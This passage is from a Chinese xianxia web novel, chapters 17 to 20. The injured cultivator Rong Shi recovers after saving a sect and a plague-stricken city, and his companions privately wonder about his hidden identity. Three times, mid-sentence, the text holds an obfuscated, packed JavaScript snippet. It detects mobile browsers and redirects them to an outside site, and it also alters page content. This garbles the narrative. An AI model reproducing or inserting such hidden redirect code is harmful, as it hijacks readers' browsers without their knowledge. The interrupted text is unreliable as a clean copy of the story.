“你羸弱至此,灵脉枯竭,性命难保,竟可以……为了不相干的人耗尽心血,来利用我?” 17. 一城之人 镜真不明白,容识已有将死之相,不动用灵力不受伤,最多也只剩不到半年,他还为了这些人屡次置自己的安危于不顾,甚至利用相识数年的自己…… 容识笑出声来,牵动了内腑的伤,他捂住胸口:“你既然觉得陌生人都不重要,那我利用你这个陌生人,不是合情合理么。” 镜真体内魔气躁动,尖锐的剧痛游走过每一寸灵脉,他几乎看不清楚容识的样子,“身为修士,不顺应天命,总想逆天而为,踏上一条取死之道……你才会修为平平,屡遭劫难……” 他竟然这样说容识! “够了!”灼夜浑身都在抖,“顺应天命只是你见死不救自私冷漠高高在上的借口!” 云明给容识喂了颗丹药保命,“说得好!” “兰生幽谷,不为莫服而不芳。舟在江海,不为莫乘而不浮。君子行义,不为莫知而止休。仙尊,你所认为正确的道,是不见众生、自欺欺人。”青音适时道,“你的道非是天命,是你的私心。” “跟他说这么多干什么。”兰玦从桓礼身上搜出不少灵符,拿了个传送符贴在镜真身上,他瞬间消失不见。 兰玦拍了拍手,“终于清净了。良言难劝该死鬼。” 容识眼前的大殿开始扭曲,一阵模糊一阵又发黑,手脚绵软,使不上一点力气,这是昏迷的征兆。 他扯了扯灼夜的衣袖。 “容识?怎么了?” 容识连说话都觉得浑身疼,“如果醉春风还有剩余,先……先救平蔚……” “好好好我知道了!”灼夜赶忙点头答应。 话音落下,容识眼前彻底黑了下去。 灼夜见他忽然闭上了眼睛,吓道:“容识!” 与此同时,列星山下。 镜真头脑晕了一瞬,再睁眼已不在大殿,他感受到熟悉的剑气,这里是……列星宗山门外? 一阵喧闹声由远而近,男女老少的声音此起彼伏。 “前面那个不就是……” “你们也做那个梦了?” “对对对,说是有个人在咱们井里下毒,有几位仙长想拿药救咱们,他不让!说咱老百姓不重要!” “仙人仙人,仙人也是人,跟咱有什么区别?不把咱们当人,有本事自己也不要当人了,怎么不升天呢!” 镜真握剑的手颤抖不已,罚罪符一旦贴上,除非施术者任何人都无法揭下,他分不清白天还是黑夜,眼前只有如血的红。 刀刀割肉剜心之痛刺激着神魂和躯体的每一寸,比入魔的那天还要痛苦千倍万倍。 容识掉下千重渊被怨魂撕咬时,有这么痛么? 他不知道,他只记得容识被降罪受罚之后,独自从刑室出来的样子。 孤月高悬,对方又戴了面具,看不到脸色,可容识宽大衣袖之下露出的那双手惨白无比,上有点点猩红血色,似乎是自己掐出来的,青紫的血管从皮肤上凸起,仿佛下一刻就会炸开,血流成河。 “就是就是!之前打仗那会儿说旧仙盟不是人,害咱老百姓死了那么多,结果盟主换人做了,不还是一样?” “让他滚出去!” “对,滚出去!!!” 镜真记得从前,这些话都被用在容识身上,如今风水轮流转,也轮到了他。 可是这些凡人……又有什么资格评判他们? 他颈间青色的血管鼓胀变为猩红,逆流的灵力霎时从体内爆发! 下一刻结界成型,立在百姓前挡住了如浪的灵力,“轰——” 百姓们惊慌失措,推搡着后退,却见一队人从天而降,皆身穿黑红相间的锦衣制服,为首的修士上前一步行礼道:“各位乡亲,我们奉仙盟之命前来调查列星宗与平蔚之事,还请诸位放心。为防再生不测,请乡亲们先回城内,醉春风随后便到,届时疫病可解,大家性命无虞。” 百姓们定了定神,面面相觑一会儿,自行离去了。 为首的修士一转头,镜真却已消失无踪。 大殿上,云明给容识喂药扎针完,长长地出了口气,“还好还好,虽然看着伤得严重,实际上也很严重,但好在命能保住……” 灼夜听完,悬着的心还没放下,外面整齐的脚步声忽的传入耳中,顿时警觉:“外面有人来了。” 几人朝门外看去,见到那身黑红制服时,青音转过身去带上了一条纯白的面纱。 面对兰玦疑惑的眼神,她小声道:“刚才脸被划了一下,我怕见了风,伤口不好愈合。” 这时两人耳边传来极细微的“咔嚓”一声响。 青音低头去看桓礼,他口吐黑血,像是吞了毒药,须臾便没了呼吸,“他自杀了!” “什么?”云明愣了一下。 这么阴险聪明的人,感觉可以当话本里的终极反派了,这就……死了? 有种不真实的感觉。 为首的修士举起仙盟的玉牌言明了身份,“仙盟今日收到柏宗主与一位药王山弟子的传讯,得知列星宗与平蔚变故,前来调查。” 那玉牌上刻着独属于仙盟的凤凰纹,他们的身份没有问题。 给仙盟传信的人中,只有云明还醒着,他便上前道:“我就是传信人药王山弟子云明,事情是这样的……” 他说话时,其他的仙盟修士都没闲着,一队人去处理大殿各处的尸体,一队人帮忙把受伤较重的柏仁和容识抬去宗门内院安置。 惊心动魄了半日,这会儿终于安定下来,兰玦和青音坐在桌前调息,灼夜则坐在容识床前。 容识唇边的血痕颜色渐深,已经凝固,他脸色比逃出山庄那次更差,白得近乎透明,灼夜都怀疑他下一瞬便会彻底融于空气里,再也找不到了。 心里有种说不出的难受,很奇怪,不知道为什么,很想替他受这些伤。 容识自己的身体都糟透了,还为了他们和镜真打架,不断地吐血受伤,昏过去之前还嘱咐他先救平蔚的人。 这么好的人,为了别人的命可以不要自己的命,为什么要一而再再而三地经历这些糟心事? 灼夜想不明白,也没法控制自己不去想,魔怔似的盯着容识看了许久,才想起他爱干净,赶忙拿了帕子帮他把脸擦干净了。 半盏茶后云明推门进来,先给所有人都配了药,又去探容识的脉。 容识的身体更要紧,灼夜顾不得苦,一口把自己的药吞了下去,“他怎么样了?” 他说话很小声,怕吵到容识。 云明声音跟着小起来:“还算稳定,就是……他现在最需要醉春风。” 可世间最后一株醉春风,方才被拿去救平蔚一城之人了。 “那怎么办?”灼夜急得挠头,脑中忽然灵光一闪,起身冲了出去。 “灼夜!”云明边追边问:“你去哪儿?” 灼夜跑向柏仁的住处,“问宗主还有没有醉春风!” 眼见两人跑出去,兰玦不免担忧,看了下床上了无生机的容识,忍不住叹了口气。 灼夜刚跑到柏仁的住处,便听房门吱呀一声响,柏仁被弟子扶着走出来。 他猛地刹住了脚步,话都说不利索了,“宗、宗主……” 柏仁性情古怪,云明怕灼夜说错了话,赶忙上前握住柏仁的手:“宗主身体感觉怎么样了?有什么不适的地方尽管告诉我,我给您配药去。” 柏仁不敢确认:“你们便是……” 大殿上他陷入昏迷,不知道救下列星宗那几位小修士的样貌,他刚醒便叫弟子扶着出门,就是想去看看他们。 他身边的弟子及时答道:“宗主,他们便是救下咱们列星宗的大恩人啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373083|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云明笑着摆摆手,“不敢当不敢当,我身为药王山弟子,救死扶伤不是应该的么。” “话虽如此,列星宗与平蔚一城之人,都需谢过几位救命之恩!”柏仁说着抬手行礼,云明赶忙扶住他的手臂。 灼夜茫然地看着云明和柏仁客套,怎么说了这么多无关紧要的话? 他头脑一热,嘴比脑子更快地说:“宗主!我、我想问你还有醉春风么?” 云明心脏都停了一拍,侧过头想用眼神暗示灼夜先不要说话。 灼夜只觉得他挤眉弄眼的,好像是五官不受控制了,但借药要紧,“我有个朋友伤得很重,只有醉春风可以救他,所以我想问……” “对对对,”云明打断了他,“宗主您有所不知,这次我们能活下来其实多亏了他说的这位朋友,镜真和桓礼两败俱伤那是全靠他呀,只是他也因为救我们身受重伤、性命垂危。” 云明指了指灼夜,“所以他才着急上火,这说话不过脑子,宗主您别介意……” “有有有,宗内还剩一株醉春风!”柏仁听完后竟然比灼夜还急,“既然是力挽狂澜的恩人,我列星宗要是舍不得区区醉春风岂非知恩不报,快快随我去拿!” 话罢他转身就走,连身旁的弟子都没反应过来,追上去道:“宗主您伤势未愈慢点走啊!” 灼夜一个箭步跟了上去,脸上的笑压都压不下去:“谢谢宗主!” “客气什么呀,”柏仁拍了拍灼夜的肩膀,“几位可是挽救了数万人的性命啊,莫说醉春风了,就是这宗主之位也是当得的。还好我有把醉春风分开放的习惯,外面的人也不知道醉春风的具体数目,不然列星宗就真的愧对恩人了!” 这就……成了? 云明心想,这柏宗主人挺好的,怎么外面人都说他脾气差呢? 取出醉春风后,灼夜和云明刚进门,青音便起身问:“药借到了么?” “嗯,”灼夜脸上藏不住事,“宗主人真的很好!” 兰玦和青音的目光同时落在云明手中的那株醉春风上。 云明低头看着珍贵无比的药,等等,忘了兰玦也是来借药的…… 他抬头看兰玦,发现青音也在看她,而兰玦在看床上的容识。 怎么觉得现在的氛围非常诡异? 灼夜心里只记挂着容识,不明所以,“快用药啊。” 为什么云明和青音好像有话要说但开不了口的样子? 云明恨不得头钻地里。 谁知兰玦也附和道:“快点吧,他气息有些不稳。” 许久没听见人出声,她疑惑地回头看了下几人,发现他们都满脸纠结。 这是…… 兰玦气笑了,一拍剑鞘道:“啧,我是想借药没错,但还不至于要跟一个病人抢!况且他还几次三番救过我的命。” 她拿剑鞘尖戳了戳青音和云明,“你们两个,以小人之心度君子之腹了啊!赶紧的,给他用药去!” “哦哦哦好好好!”云明立刻坐在桌前专心处理醉春风了。 灼夜这才明白方才云明和青音在担忧什么,“兰玦,我先替容识谢谢你了!” 兰玦笑着摇头,“谢我做什么,我们几个,都该谢谢容识才对。” 青音歪头看着兰玦,她很少笑,这一笑只觉满室清风。 “好了,我和青音先去休息了,有事叫我们。” 列星宗临时收拾了好些屋子供几人暂住,兰玦说罢便和青音退出了房间。 棘手的事情都解决了,处理药物是云明的专长,不用费什么心思,即便面前的东西是连山主都觉宝贵的天材地宝,他脑子还是不由自主地想起一个问题。 桓礼的手段叫人心有余悸,他说的话似乎都是真的。 那么容识……他真的是明彧么? 18. 泡影 一道白色的剑光劈开黑暗,容识站在极远处,看见上方漆黑的天被破开,一瞬间天地亮如白昼。 剑光之下,一群抵挡的修士连惨叫的机会都没有,几乎是一息之间灰飞烟灭。 身穿白衣的剑修悬于高空,如俯视蝼蚁般静静地望向剑下众生。 太微历一万五千七百二十九年,灵溪剑宗与南海明氏组成的诛恶盟派出修为顶尖的修士,突袭位于中州的仙盟总部。 那是容识第一次见到镜真。 “……你怎么了?是不是没睡好?” 容识再睁开眼,看到一个满身书卷气的青年,手捧《三十六计》,手上拿着一支毛笔,探身过来看他。 这个人……是他曾经的战友,桓秋。 “唉,仙盟研究的那个大型镇灵法阵确实厉害,若非如此,你也不必不分昼夜研究破解之法。”桓秋走近,按住书桌上用来推演阵法的草纸,“祁叔这些天日日都叮嘱我看着你,怕你不顾惜自己的身体,你倒好,昨晚又是一夜没睡吧?昨晚看你这边早早就熄了烛火,还以为你终于听劝了。” “你现在先去睡两个时辰,”桓秋语气是循循善诱的,态度是强硬坚决的,“不然我就把这件事告诉祁叔,再去跟药王山弟子要一箱上好的安眠丹,以后但凡你没好好休息,就给你喂几颗。” 容识恍惚得不知年月,看着一脸认真的桓秋,须臾之后,对方的身体化为一张轻飘飘的纸。 “等等……”他伸手去抓,将那纸片捞在掌心,低头一看,是简短的战报。 “仙盟以一城百姓威胁,桓秋带兵潜入城中打开城门,为解救被挟为人质的百姓,身中数箭,力竭血尽而亡。留夷宗副宗主兰吟战死。” 窄小的纸片莫名烧起来,容识的手掌却感受不到一丝疼痛,大火铺天盖地,一场如瀑的大雨陡然浇下,将火扑灭,只余掌心淡淡的青烟。 容识抬头,阴云笼罩,密密麻麻的雨滴落在身上,把他淋透。 “仙君,甘邑一城之人,数万百姓,过半都身染疫病,命不久矣,请仙君垂怜……求仙君垂怜,救救他们,救救甘邑吧!” 面前一个中年男子跪在雨中,他束得整整齐齐一丝不苟的发冠被暴雨打歪,“单某位卑职小,自知无法报答仙君大恩,仙君如若出手相救,单某愿辞去官职,终生侍奉仙君,便是要把我的命拿去,单某也愿双手奉上!” 容识听闻甘邑变故,刚从中州返回城中,便见甘邑太守冒雨跪在庭中,声泪俱下。 在人间,不知要读多少书,要当多少年的官,才能坐到太守这个位置,面对他们这些翻手为云覆手为雨的仙人,太守却说自己位卑职小。 听说前几日,太守也是这般在闭关的镜真门外苦苦哀求。 容识回程路上遭遇埋伏身上有伤,只能一步一挪地靠近,扶起太守。 他眼前一晃,太守的臂膀忽然变成一本书,夜色已深,城墙上风声凛冽,他听见自己问:“为何守城还要带书?” 眼前肤色黝黑的青年不好意思地摸了摸鼻子,“我,本来想着今年去京城参加会试的,可是仙盟打过来了,城里人手不够,就跟着来守城了。家里供我读书不容易,我想着等战事结束,再去京城考科举,当个像单太守那样的人……” 容识点点头,把书还给他,青年把书紧紧抱在怀里,像是揣了个价值不菲的宝贝。 下一刻,书的颜色忽然变深变红,映在了青年的胸前,他拽着容识的衣袖,“仙、仙君,我知道你们仙人都很厉害,能、能不能让我下辈子……连中三元,再当个状元……我保证,我一定对百姓好,当个……当个好官……” 拽着衣袖的那只手骤然变得白胖幼小,小女孩笑着摇着他的衣袖:“哥哥你好几天没吃东西了,来吃点芝麻糖吧,我最喜欢吃芝麻糖了。” “是啊仙君,你人都瘦了一圈,快吃点东西吧。”小女孩的母亲笑得温婉,把芝麻糖递给他。 “好。”容识笑吟吟地接过,芝麻糖却在他掌中化为一摊血水。 他不解地抬头,只见满目刺眼的红。 记忆里这么多鲜活的人……最终都化成了数不清的血色。 抓不住,留不住,都是……泡影。 “容识?容识!你松松手,别把自己抓伤了……”很远处好像有灼夜的声音,“嘶……你抓得我,有点疼……” 容识猛地松开了手,睁开眼时,见灼夜像供个宝贝似的,将他的手捧在掌心。 “容识你醒了?!”灼夜对上他睁开的眼还不敢相信,看了他许久,直到嘴角不由自主地咧开,“有没有哪里疼,要不要喝水,要不要吃东西?我,我去叫云明来!” 容识抓住了他的手腕,“平蔚怎么样了?” “啊?”灼夜知道他心系百姓,把自己知道的全说了,“仙盟的人把醉春风带去解毒,平蔚已经没事了。我们这些人喝得少,调息几天就好了。” “桓礼和镜真呢?” “你昏迷过去没多久,仙盟的人就赶了过来,桓礼突然吃了毒药自杀了。镜真……” 灼夜摇头,“不知道哪儿去了。桓礼好像把大殿上发生的事投射到平蔚人的梦里,兰玦把他传送到列星山下后,正好碰上想来问个明白的平蔚人,他们说镜真见死不救还不让别人救他们,差点打起来,还好仙盟的人来了,没让平蔚的人受伤。镜真趁机跑了,没人知道他去哪儿了。” 容识沉默片刻,轻轻“嗯”了一声。 对于桓礼来说,死应该是最好的选择了。 镜真从未把凡人放在眼里,如今受他们唾骂,咎由自取而已。 列星宗和平蔚的事算是圆满解决,他恍惚地想:所有人都得救了。 这一切都是真的么? “你问了那么多,现在也该我问你了。” 灼夜看着容识的眼睛,“你感觉好些了么?我去问柏宗主还有没有醉春风,他说还剩一株,送给我们了,云明把它熬成汤药给你喝了,宗主他人还挺好的。” 容识侧过头看灼夜。 灼夜一只手缠着细布,是大殿夺剑时受了伤,另一只手的手背是坑坑洼洼的指甲印,应该是他昏迷中不小心掐的。 见他眼神担忧,灼夜笑道:“我没事的,倒是你,伤得那么重,我快被吓……” 容识望着屋顶,“不值得。” 究竟要到什么时候,身边的人才不会受伤,不会被他牵连? 他已经拿命去拼,还是无能为力。 “什么?” 灼夜愣住,为什么他会说这种话? “我救你,还要想值不值得?”灼夜皱眉,“救人就是救人,我从来都没想那么多。难道你在萧随的山庄救我和云明的时候,也想过值不值得么?” “那不一样。”容识气息微弱,声音很小,“这次我早有计划。” 灼夜真的想打开容识的脑壳,看看里面装的都是什么,“你有你的计划,我救我想救的人,这是两回事,也不冲突啊。” 他俯身挡住容识向上的目光,让对方只能看到自己,“而且我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373084|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得,你真的好勇敢、好厉害,你又救了我们所有人。容识,如果你觉得不值得,为什么要救我们?如果你觉得值得,那我做了跟你同样的事,为什么你要说‘不值得’?” “勇敢”“厉害”这些词,听着像是夸小孩子的。 容识此前从未听到过这样的话。 灼夜好像能透过眼睛能把人看穿,“你真正想说的,是我救人不值得,还是我救你不值得?” 他把“你”字咬得很重。 容识第一次尝到哑口无言的滋味。 他在灼夜的瞳孔里看见自己苍白的脸,好像无论什么人,映在灼夜眼中都会变得干净纯粹,可事实并非如此。 然后灼夜坐直了身体,耳朵有些红,欲言又止、止又欲言,时不时地偷偷看他。 ……这是想说什么? 终于,灼夜深吸一口气,似乎鼓足了勇气,望着他认真道:“在我眼里,你最值得。” 容识被那双纯真赤诚的眼灼伤,别过头去。 灼夜见他撇过了头,一副不想再听的样子,心里像是几千只蚂蚁在爬。 他好不容易说出口,容识这是什么反应,是不好意思还是生气了?好像都没有? 灼夜一颗心七上八下,自己能感知情绪的直觉哪儿去了? 他闭着眼使出浑身解数去感知,急得似乎跟镜真打了几百回合一般,快把自己逼得冒烟了,也没把直觉逼出来。 怎么不管用了?灼夜闷闷不乐,泄气地肩膀都塌下来,可这时那股模模糊糊的感觉来了,他盯着容识的侧脸,莫名地想:他在难过。 容识在难过什么? 不等灼夜想明白,便听容识问:“醉春风给了我,那兰玦……” “她说她不会跟病人抢药,何况你还救过她。宗主听说了这事,去库房找了差不多的药送给了兰玦,云明说那药仅次于醉春风之下,效果也很好的。” 灼夜眼睛越说越亮:“宗主还送了我们每个人一箱灵石、一箱金银和银票、还有好几箱药材……我们有钱了!” 容识侧过头来,被他的笑容感染,“你之前的样子,可不像是没钱。” 满身珠宝,一看就像哪家外出游历的贵公子,差点让他猜错了灼夜的身份。 “是么,”灼夜挠了挠头,“其实我也忘记那些东西都是哪儿来的了,好像都是别人送给我的,要是我的失忆能治好,说不定就能想起来了。” 容识心想,不知是落入千重渊后失的忆,还是之前就失忆了? 他在千重渊死过一次,记忆还好好的,而灼夜不像神魂受了影响,否则云明怎么会看不出来,如何会失忆? 这样想来,该是更早之前灼夜就失忆了。 容识直直地看着灼夜。 说了这会儿话,他混沌的脑子清醒了许多。 这一切都是真的。 他没有让平蔚重蹈覆辙。 “怎么这么看我,”灼夜不解,“你饿了么?” “没什么,”容识笑笑,“如果将来,一定要你在我和万万人之间做选择……请你一定要选择那万万人。” 什么情况才要做这样残酷的选择? 灼夜不明白,他不明白关于容识的很多事,比如他的身份、他的过往、他为什么总显得死气沉沉,似乎不想活了。 人为什么会想死? 见灼夜沉默,容识伸手抓住他的手腕,“答应我。” 灼夜撞进一双温柔但坚定的眼。 他低下头承诺:“好。” 19. 身份 云明进屋看到容识醒了,啧啧道:“你每次昏迷醒得速度都够快的,这次才过去不到一天就醒了,身体感觉怎么样,用了醉春风以后,应该能好点吧?” “嗯,好一些了。”容识的身体很久都没现下这么松快过了,即便身上还疼着。 “那就好。”云明松了口气,“总算没有丢我们药王山的脸,我可是连夜写了醉春风的相关研究给我师尊看呢。” 容识体质特殊,在喂药之前,云明其实也不敢保证这药对他的身体一定有效。 “哦对了,”云明正襟危坐,像是夫子在上课,一字一顿道:“有一点我要提醒你,你以后不能再妄动灵力了,神识也别轻易用。” “你之前跟我们说你刻阵是用了偏门的办法,我真以为有什么秘法能让你刻元婴阵还不伤身体,没想到哇没想到,你就硬刻啊?!我和灼夜不懂阵法,你就这样蒙我们?” 云明越说越激动,恨铁不成钢,容识怎么这么不爱惜自己的身体?再这样下去,他的命还要不要了?自己的研究还做得成么? 容识有些心虚,轻咳了几声,灼夜见状立刻道:“容识刻那么多阵也是为了救我们。我以后一定会看住他的!” 他看向容识,“你以后能不动手就别动手了,发生什么事情都站我身后!” 容识没有接话。 云明撇了撇嘴,容识想做什么,一般人根本拦不住,他不觉得灼夜能拦得住容识。 刚见面时这可是个连自己的命都不在乎的狠人啊! 他在人间行医时,最怕的不是所患疾病几乎难以治愈的人,因为无论多难治,总归有一线希望。 他最怕的是不想活的人。 一个连死都不怕的人,还能怕什么?这种人什么事都做得出来。 当然,容识不像是会干坏事的人,但这样一个又聪明、又有手段的人一旦铁了心要死,便是货真价实的神仙来了,恐怕都保不住。 这人的心态着实有大问题,要不要传信问问擅长心理问题的师兄师姐们? 云明有了打算,口气放松了些,“虽然你一点都不惜命,但你已经是我下山后遇见的最听话的病人了,让吃药就吃,让扎针就扎。之前我给那些大伯大娘们看病,得费老大劲,他们都觉得我太年轻,我说的话写的药方,他们一个字儿都不信。有时候我都在想要不要找个易容高手请教一下,把我变成个老头子,是不是更容易被相信。” 说起来,容识这么听话,也不是因为相信自己的医术,他只是无所谓生死罢了。 容识回忆着道:“倒也不用那么麻烦,我记得有种法器,带在身上可以模糊人的样貌和声音。” “是有,”云明叹气,“但三十年前仙盟出了条规定,修士在凡间不能使用改变样貌的类似的法器,要是给仙盟在外做事的人看到,会被抓去中州受罚的。说是身为修士行得正坐得直,改换容貌有欺骗凡人的嫌疑。” 有这回事? 容识隐约有不妙的预感,实在不是他自作多情,萧随和镜真似乎一直都知道他没死,还满世界地找他,师赢就算起先不知道也该知道了。 难不成这条规定是针对他而设的? “对了,差点忘了,”云明一个激灵,伸手招呼灼夜,“你快去把容识的药端来,不然该熬过头了。” “啊?好。”灼夜心系容识的身体,当即出门拿药去了。 屋内只剩下两个人,容识看出云明特意支开了灼夜,想必是有话想问。 果然云明下一句便是:“容识……你能不能回答我一个问题?” 他心底没底,不敢看容识,带了些恳求的意味:“我只有一问,仅此一问。” 容识很爽快:“问。” 云明抬头盯着他的脸,问得很急:“你是不是……是不是南海明氏长公子明彧?” 容识只沉默了一瞬,“不是。” “……” 云明悬着的心没有放回去。 灼夜那个愣头青只信容识,看得出来镜真和桓礼的话他一个字都不信,就算容识承认以前和镜真认识,他估计也不会想探究容识的真实身份。 所以才要支开他。 可容识这个人,说出来的话谁也不知究竟有几分真几分假。 云明还没想出个所以然来,便听外面传来脚步声,是灼夜去而复返。 容识坐起身喝药,灼夜动了动鼻子,眼角耷拉下来,“闻着就好苦,为什么汤药都这么苦?” 他问云明:“你说药要是好喝点,会不会大家就更愿意喝了?” 容识唇角不自觉地翘了起来。灼夜这话跟孩子似的,好像现在喝药的人不是自己而是他一样。 云明摇摇头,“你当我们药王山没试过么,研究来研究去,还是发现做成药丸更好,一吞就完事了。这药是宗主送的,滋补效果很好,只是做药丸花费的时间太长,容识的身体更重要。” 他心里好笑,容识这个喝药的人还没说什么,灼夜倒是替他叫苦。 “云明哥哥说得对。”门外响起青音的声音,她和兰玦并肩进屋,“汤药确实很苦,但多亏你帮我们配药,我们才能恢复得这么快。” 容识喝完了药,苍白的脸被药气蒸得有了些许血色。 青音认真道:“还没谢谢容识哥哥呢,这次你又救了我们!” 她和兰玦郑重行了个礼,容识笑道:“大家同心协力,才能度过这场劫难。我只不过做了我能做的。” “容识哥哥身体怎么样了?”青音看了下容识的脸,“我想着我们几个人去吃顿饭吧,我跟姐姐准备两天后走,下回再见就不知道是什么时候了。” “已经没有大碍了。”容识和灼夜对视,两人一同点了点头。 “好啊!”云明合掌,“但你们怎么走得这么急,内伤应该还没好,不再休养一下?” “不了。”兰玦抱剑,“再过几个月就是登云榜大会,我想先去玉池,在那里专心准备。” 灼夜问:“登云榜大会?” 云明已经习惯灼夜对修真界大事一无所知的状态,“登云榜大会是修真界盛事,师盟主在四十年前设的,每十年举办一次,由大宗门轮流操办,只允许百岁以内的修士参与比武,决出前五十名排入登云榜,上榜的人可以进入云海秘境,那是上古时期遗留下来的,有很多外面早就绝迹的天材地宝和机缘,这次是玉池瑶华山负责操办。” “哦……”灼夜心想,瑶华山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373085|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好耳熟的名字。 师赢竟然会开放云海秘境,还办了这样的大会? 容识颇为意外。 那是他和师赢一起发现的秘境,本以为师赢会一辈子都死死捂住这个重要的底牌。 当年他为了诛杀太宁仙尊用了陨仙阵,损耗过度重伤濒死,要不是有师赢从云海秘境里拿出来的天材地宝流水似的灌进他身体里,他大概早就没命了。 灼夜好奇地问:“那其他几个大宗门都在哪儿?” 云明说起这些来气都不带喘的:“上雁列星宗、青州衡芷山庄、长山苍梧派、鹭城灵溪剑宗、玉池瑶华山,称为五大宗门。” 灼夜暗自想,这些名字倒是都不陌生,他们暂住的列星宗、芷鸢姑娘的宗门衡芷山庄、仙盟现任盟主师赢的前宗门、镜真的前宗门、兰玦她们要去的大会举办地…… 云明从储物袋里掏出一些药瓶塞给兰玦,“先把内伤养好再修炼也不迟,不然容易落下隐疾,这些你先吃着。” “这……”兰玦语无伦次,“我不能……” “哎呀没什么能不能的,”云明一股脑把药瓶塞进兰玦手里,“我们并肩作战两回,都是过命的交情了,计较这些做什么?你要是实在过意不去,到时候进了云海秘境看见什么新奇的天材地宝,薅了来给我做药材就是了,说不定还能给容识用上。” “多谢你了。”兰玦动摇片刻,收下了药瓶。 容识捂着心口,汤药很苦,但把热气传递到了全身,身上没有那么冷了,心肺压抑难受的感觉减轻很多。 他想起平蔚和列星宗发生的事,总觉得事情没有表面那么简单,截杀、下毒、夺位,不像是桓礼一人能做出来的事。 裂魂符和罚罪符是仙盟专用的符咒,桓礼怎么会有?若说是旧仙盟留下的,倒也说得过去,但容识不会怀疑师赢清缴旧仙盟人的手段。桓礼当年被仙盟抓去受审,所有的东西都该被收缴了,怎么还会留下这么厉害的符咒?他作为重犯,必定被严加看管,又是怎么逃出来的? 更可疑的是,桓礼当年被废去修为生不如死的时候都没想过死,还挣扎着谋划了那么多年,为何这次落败以后,毫不犹豫就死了? 难道是因为觉得落在仙盟手里也是个死,还不如自行了结? 除非……有人帮他逃跑,还助他重返列星宗,帮他积蓄力量夺取宗主之位和醉春风,他听令行事,为了不暴露背后之人,不得不死。 他背后的人是谁,也是旧仙盟人么? “容识?” 容识醒过神来,灼夜问:“你在想什么?” 他扫视屋内,兰玦和青音不知何时离开了。 “我在想,当年甘邑的火流疫,是旧仙盟盟主的义子应危所为,为什么桓礼会有火流疫的毒源?” 云明跟着思索起来,“我也觉得奇怪,不过有可能他就是应危的手下吧。虽然我讨厌萧随,但当年就是他去杀的应危。” “等等,”云明看着容识,“刚刚忘了说,你以后可不能再想这么多了,思虑过重对你的身体没好处。这件事仙盟自然会查得一清二楚,咱们这种小修士还是别管了。” 容识觉出一丝不对劲。 应危真的死了么? 20. 闲逛 几人回了之前住过的客栈,叫了两桌子菜,一桌子拿来吃,一桌子拿来放储物袋,等路上再吃。 云明从掌柜那里接回了糯米,坐在角落里逗猫,“听平蔚的人都在传有几个仙人救了他们的故事,还说要把画像画出来供奉我们,吓我一跳,还好他们说梦里根本看不清我们的脸,只知道发生了什么事。我们的画像要是传出去,可就完蛋了,” 兰玦坐在窗边擦拭着她的长剑,青音缠着手里的白绫,“为什么?” 容识靠在榻上喝药,灼夜坐在他旁边数柏宗主给的银票。 云明看了眼容识,见他没什么表情,便道:“咱们都生死与共过了,有些事也不用藏着掖着,实不相瞒,我们和萧随有仇。前些天他把我们抓进了随山山庄,要杀我们,幸亏有容识在,我们才能逃出来,不过就萧随那小心眼,他能忍得了?肯定派了人要抓我们呢。” “什么?”青音放开了手里的白绫。 兰玦连剑也不擦了:“他为什么要杀你们?” 云明把三人被抓的前因后果说了个大概,兰玦和青音听完后沉默许久,最终青音叹道:“这世上疯子真多。” “可不是么,”云明一边给糯米喂吃的一边说,“好不容易逃了出来,没想到列星宗也有疯子,还是俩。” 容识没有解释的意思,兰玦和青音便把关于他身份的问题咽进了肚子里。 “对了,我一直有个问题想问,”云明摸着猫问,“你们是亲姐妹么?” 青音和兰玦的样貌并不相似,她生得俏皮可爱,像是邻家妹妹,而兰玦眉眼锋利,一看就不好惹。 “不是,我只是喜欢叫她姐姐。”青音看着兰玦,“我之前遇到一帮散修在欺负凡人,想着出手帮忙却被他们暗算,是兰玦救了我,之后我们就一直同行了。” “这样啊。”云明点点头。青音没主动提自己跟兰玦的出身,那一定是不想提,他便没继续问下去。 灼夜数完了钱,眼睛都直了,只顾着喃喃:“好多好多钱……可以买好多东西……” 容识放下药碗,抬手轻轻敲了敲他的脑门。 灼夜摸了摸额头,看着他笑道,“等会儿我们去买些衣裳吧,对了,还有发簪,你用来簪发的树枝太容易坏了,要是喜欢木头做的东西,可以试试木簪。” 说完他便把手上的银票放回了储物袋里,那是他刚问云明买的,虽然他们三人同路,但是吃穿用度全让云明出钱,他总是过意不去,现下有钱了,自然要把钱财这些事分分清楚。 容识就不一样了,他救过自己和云明多少次都快数不清了,让救命恩人花自己的钱也是应该的。 “好。”容识微微一笑。 听说鸟类都喜欢亮晶晶的东西,还会把漂亮的布条撕下来插在自己的羽毛里,灼夜瞧着倒真能做出这种事。 